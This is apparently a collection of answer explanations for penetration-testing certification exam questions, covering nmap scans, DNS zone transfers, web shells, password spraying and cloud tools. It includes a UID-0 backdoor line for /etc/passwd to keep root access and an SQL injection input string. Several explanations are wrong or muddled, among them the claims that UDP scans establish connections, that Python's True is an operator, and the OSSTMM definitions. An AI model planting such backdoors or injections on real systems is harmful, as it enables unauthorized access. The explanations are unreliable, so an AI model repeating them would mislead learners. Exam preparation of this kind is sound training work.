 The arp command is used to manipulate or display the Address Resolution Protocol (ARP) cache, which is a table that maps IP addresses to physical addresses (MAC addresses) on a network. The -s option is used to add a static ARP entry to the cache, which means that it will not expire or be overwritten by dynamic ARP entries. The syntax for adding a static ARP entry is arp -s . Therefore, the command arp -s 192.168.1.63 60-36-DD-A6-C5-33 would add a static ARP entry for the IP address 192.168.1.63 and the physical address 60-36-DD-A6-C5-33 to the local cache of the attacker machine. This would allow the attacker machine to communicate with the target machine without relying on ARP requests or replies. The other commands are not valid or useful for establishing a static ARP entry.

A web shell is a malicious script that allows remote access and control of a web server. A penetration tester may use a web shell to execute commands on the target server during a penetration test. However, after the test is completed, the penetration tester should remove the web shell to avoid leaving any traces or backdoors on the server. The command rm -f /var/www/html/G679h32gYu.php deletes the file G679h32gYu.php from the web server’s document root directory, which is likely the location of the web shell. The other options are not plausible explanations for why the penetration tester wants this command executed.

The penetration tester should try dumpster diving next, which is an attack that involves searching through trash bins or dumpsters for discarded documents or items that may contain sensitive or useful information. Dumpster diving can reveal information such as passwords, account numbers, credit card numbers, invoices, receipts, memos, contracts, or employee records. The penetration tester can use this information to gain access to systems or networks, impersonate users or employees, or perform social engineering attacks. The other options are not likely attacks that the penetration tester should try next based on the discovery that the company does not have a shredding service. Phishing is an attack that involves sending fraudulent emails that appear to be from legitimate sources to trick users into revealing their credentials or clicking on malicious links or attachments. Shoulder surfing is an attack that involves observing or spying on users while they enter their credentials or perform other tasks on their devices. Tailgating is an attack that involves following authorized personnel into a restricted area without proper authorization or identification.

The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won’t disrupt the other user’s work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is “johndoe”, the line to add would be “johndoe:x:0:0:John Doe:/root:/bin/bash”. After the user is added, the penetration tester can use the “su” command to switch to the new user and gain root privileges.

The script author was trying to spawn a local shell by using the os.system() function, which executes a command in a subshell. The command being executed is “/bin/bash”, which is the path to the bash shell, a common shell program on Linux systems. The script author may have wanted to spawn a local shell to gain more control or access over the compromised system, or to execute other commands that are not possible in the original shell. The other options are not plausible explanations for what the script author was trying to do.

The scoping document is a document that defines the objectives, scope, limitations, deliverables, and expectations of a penetration testing engagement. It is an essential document that guides the penetration testing process and ensures that both the tester and the client agree on the terms and conditions of the test. Requiring all testers to review the scoping document carefully would have most effectively prevented this misunderstanding, as it would have informed the new tester about the client’s request not to test the production networks. The other options are not effective or realistic ways to prevent this misunderstanding.

True is a Boolean operator in Python, which is an operator that returns either True or False values based on logical conditions. Boolean operators can be used in expressions or statements that evaluate to True or False values, such as comparisons, assignments, or loops. In the code, True is used as the condition for a while loop, which is a loop that repeats a block of code as long as the condition is True. The code will print “Hello World” indefinitely because True will always be True and the loop will never end. The other options are not valid descriptions of True.

The best recommendation to remediate this vulnerability is to use parameterized queries in the web application. Parameterized queries are a way of preventing SQL injection attacks by separating the SQL statements from the user input. This way, the user input is treated as a literal value and not as part of the SQL statement. For example, instead of using x’ OR role LIKE '%admin%, the user input would be passed as a parameter to a prepared statement that would check if it matches any value in the database.

The tool that would be best suited to perform a cloud security assessment is Scout Suite, which is an open-source multi-cloud security auditing tool that can evaluate the security posture of cloud environments, such as AWS, Azure, GCP, or Alibaba Cloud. Scout Suite can collect configuration data from cloud providers using APIs and assess them against security best practices or benchmarks, such as CIS Foundations. Scout Suite can generate reports that highlight security issues, risks, or gaps in the cloud environment, and provide recommendations for remediation or improvement. The other options are not tools that are specifically designed for cloud security assessment. OpenVAS is an open-source vulnerability scanner that can scan hosts and networks for vulnerabilities and generate reports with findings and recommendations. Nmap is an open-source network scanner and enumerator that can scan hosts and networks for ports, services, versions, OS, or other information1. ZAP is an open-source web application scanner and proxy that can scan web applications for vulnerabilities and perform attacks such as SQL injection or XSS. Nessus is a commercial vulnerability scanner that can scan hosts and networks for vulnerabilities and generate reports with findings and recommendations.

"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks"

Exploit-DB is a website that collects and archives exploits for various software and hardware products, including network infrastructure devices. Exploit-DB allows users to search for exploits by product name, vendor, type, platform, CVE number, or date. Exploit-DB is a useful resource for obtaining payloads against specific network infrastructure products. Metasploit is a framework that contains many exploits and payloads, but it is not a resource for obtaining them. Shodan is a search engine that scans the internet for devices and services, but it does not provide exploits or payloads. Retina is a vulnerability scanner that identifies weaknesses in network devices, but it does not provide exploits or payloads.

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

 The OSSTM testing methodology that should be used to test under the worst conditions is known environment, which is a testing approach that assumes that the tester has full knowledge of the target system or network, such as its architecture, configuration, vulnerabilities, or defenses. A known environment testing can simulate a worst-case scenario, where an attacker has gained access to sensitive information or insider knowledge about the target, and can exploit it to launch more sophisticated or targeted attacks. A known environment testing can also help identify the most critical or high-risk areas of the target, and provide recommendations for improving its security posture. The other options are not OSSTM testing methodologies that should be used to test under the worst conditions. Tandem is a testing approach that involves two testers working together on the same target, one as an attacker and one as a defender, to simulate a realistic attack scenario and evaluate the effectiveness of the defense mechanisms. Reversal is a testing approach that involves switching roles between the tester and the client, where the tester acts as a defender and the client acts as an attacker, to assess the security awareness and skills of the client. Semi-authorized is a testing approach that involves giving partial or limited authorization or access to the tester, such as a user account or a network segment, to simulate an attack scenario where an attacker has compromised a legitimate user or device.

Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.

Cloud Custodian is a tool that can be used to manage public cloud accounts and resources. Cloud Custodian can define policies and rules for cloud resources based on various criteria, such as tags, filters, actions, modes, or schedules. Cloud Custodian can enforce compliance, governance, security, cost optimization, and operational efficiency for cloud resources. Cloud Custodian supports multiple public cloud providers, such as AWS, Azure, GCP, and Kubernetes. Cloud Brute is a tool that can be used to enumerate cloud platforms and discover hidden files and buckets. Pacu is a tool that can be used to exploit AWS environments and perform post-exploitation actions. Scout Suite is a tool that can be used to audit cloud environments and identify security issues.

The Nmap command that the tester should use to scan for ports without establishing a connection and to find version data information for services running on open ports is nmap -sS -sV -F target.company.com. This command has the following options:

-sS performs a TCP SYN scan, which is a scan technique that sends TCP packets with the SYN flag set to the target ports and analyzes the responses. A TCP SYN scan does not establish a full TCP connection, as it only completes the first step of the three-way handshake. A TCP SYN scan can stealthily scan for open ports without alerting the target system or application.

-sV performs version detection, which is a feature that probes open ports to determine the service and version information of the applications running on them. Version detection can provide useful information for identifying vulnerabilities or exploits that affect specific versions of services or applications.

-F performs a fast scan, which is a scan option that only scans the 100 most common ports according to the nmap-services file. A fast scan can speed up the scan process by avoiding scanning less likely or less interesting ports.

target.company.com specifies the domain name of the target system or network to be scanned.

The other options are not valid Nmap commands that meet the requirements of the question. Option A performs a UDP scan (-sU), which is a scan technique that sends UDP packets to the target ports and analyzes the responses. A UDP scan can scan for open ports that use UDP protocol, such as DNS, SNMP, or DHCP. However, a UDP scan does establish a connection with the target system or application, unlike a TCP SYN scan. Option C performs a TCP connect scan (-sT), which is a scan technique that sends TCP packets with the SYN flag set to the target ports and completes the three-way handshake with an ACK packet if a SYN/ACK packet is received. A TCP connect scan can scan for open ports that use TCP protocol, such as HTTP, FTP, or SSH. However, a TCP connect scan does establish a full TCP connection with the target system or application, unlike a TCP SYN scan. Option D performs an Xmas scan (-sX), which is a scan technique that sends TCP packets with the FIN, PSH, and URG flags set to the target ports and analyzes the responses. An Xmas scan can stealthily scan for open ports without alerting the target system or application, similar to a TCP SYN scan. However, option D does not perform version detection (-sV), which is one of the requirements of the question.

Network segmentation is the practice of dividing a network into smaller subnetworks or segments based on different criteria, such as function, security level, or access control. Network segmentation can enhance the security of a network by isolating sensitive or critical systems from less secure or untrusted systems, reducing the attack surface, limiting the spread of malware or intrusions, and enforcing granular policies and rules for each segment. To be PCI compliant, which is a set of standards for protecting payment card data, the company should have implemented network segmentation to separate the servers that perform financial transactions from other parts of the network that may be less secure or more exposed to threats. The other options are not specific requirements for PCI compliance, although they may be good security practices in general.

The command dig @ns1.comptia.local axfr comptia.local is a command that performs a DNS zone transfer, which is a process of copying the entire DNS database or zone file from a primary DNS server to a secondary DNS server. A DNS zone file contains records that map domain names to IP addresses and other information, such as mail servers, name servers, or aliases. A DNS zone transfer can provide useful information for enumeration, such as the hostnames and IP addresses of internal systems, which can help identify potential targets or vulnerabilities. A DNS zone transfer can be performed by using tools such as dig, which is a tool that can query DNS servers and obtain information about domain names, such as IP addresses, mail servers, name servers, or other records1. The other options are not types of information that would be provided by a DNS zone transfer. The DNSSEC certificate and CA are not part of the DNS zone file, but rather part of the DNSSEC protocol, which is an extension of the DNS protocol that provides authentication and integrity for DNS data. The DHCP scopes and ranges used on the network are not part of the DNS zone file, but rather part of the DHCP protocol, which is a protocol that assigns dynamic IP addresses and other configuration parameters to devices on a network. The OS and version of the DNS server are not part of the DNS zone file, but rather part of the OS fingerprinting technique, which is a technique that identifies the OS and version of a remote system by analyzing its responses to network probes.

 The output shows the result of a ping command, which sends packets to a host and receives replies. The ping command can be used to determine if a host is alive and reachable on the network. One of the information that the ping command displays is the Time to Live (TTL) value, which indicates how many hops a packet can travel before it is discarded. The TTL value can also be used to guess the operating system of the host, as different operating systems have different default TTL values. In this case, the TTL value is 128, which is the default value for Windows operating systems. Linux and macOS have a default TTL value of 64, while NetBSD has a default TTL value of 255.

https://mainnerve.com/what-are-rules-of-engag ement-in-pen-testing/#:~:text=The%20ROE%20includes%20the%20dates,limits%2C%20or%20out%20of%20scope.

The command nmap -v -sV -p- 10.10.10.23-28 is a command that performs a port scan using nmap, which is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses1. The command has the following options:

-v enables verbose mode, which increases the amount of information displayed by nmap

-sV enables version detection, which attempts to determine the version and service of the open ports

-p- specifies that all ports from 1 to 65535 should be scanned

10.10.10.23-28 specifies the range of IP addresses to be scanned The command does not have any option for host discovery, which is a process that determines which hosts are alive or reachable on a network by sending probes such as ICMP echo requests, TCP SYN packets, or ACK packets. Host discovery can help speed up the scan by avoiding scanning hosts that are down or do not respond. However, some hosts may be configured to block or ignore host discovery probes, which can cause nmap to report them as down even if they are up. To avoid this problem, the penetration tester should use the -Pn option, which skips host discovery and assumes that all hosts are up. This option can force nmap to scan all hosts regardless of their response to host discovery probes, and may reveal some hosts that were previously missed. The other options are not valid options that the penetration tester should try next. The -su option does not exist in nmap, and would cause an error. The -sn option performs a ping scan and lists hosts that respond, but it does not scan any ports or services, which is not useful for the penetration test. The -ss option does not exist in nmap, and would cause an error.

CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization’s sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.

https://esgeeks.com/como-utilizar-cewl/

The best attack that would support compromising company systems after compromising an external web server frequented by employees is a watering-hole attack, which is an attack that involves compromising a website that is visited by a specific group of users, such as employees of a target company, and injecting malicious code or content into the website that can infect or exploit the users’ devices when they visit the website. A watering-hole attack can allow an attacker to compromise company systems by targeting their employees who frequent the external web server, and taking advantage of their trust or habit of visiting the website. A watering-hole attack can be performed by using tools such as BeEF, which is a tool that can hook web browsers and execute commands on them2. The other options are not likely attacks that would support compromising company systems after compromising an external web server frequented by employees. A side-channel attack is an attack that involves exploiting physical characteristics or implementation flaws of a system or device, such as power consumption, electromagnetic radiation, timing, or sound, to extract sensitive information or bypass security mechanisms. A command injection attack is an attack that exploits a vulnerability in a system or application that allows an attacker to execute arbitrary commands on the underlying OS or shell. A cross-site scripting attack is an attack that exploits a vulnerability in a web application that allows an attacker to inject malicious scripts into web pages that are viewed by other users.

Password spraying is a type of password guessing attack that involves trying one or a few common passwords against many usernames or accounts. Password spraying can avoid account lockout policies that limit the number of failed login attempts per account by spreading out the attempts over time and across different accounts. Password spraying can also increase the chances of success by using passwords that are likely to be used by many users, such as default passwords, seasonal passwords, or company names. Mask is a type of password cracking attack that involves using a mask or a pattern to generate passwords based on known or guessed characteristics of the password, such as length, case, or symbols. Rainbow is a technique of storing precomputed hashes of passwords in a table that can be used to quickly crack passwords by looking up the hashes. Dictionary is a type of password cracking attack that involves using a wordlist or a dictionary of common or likely passwords to try against an account.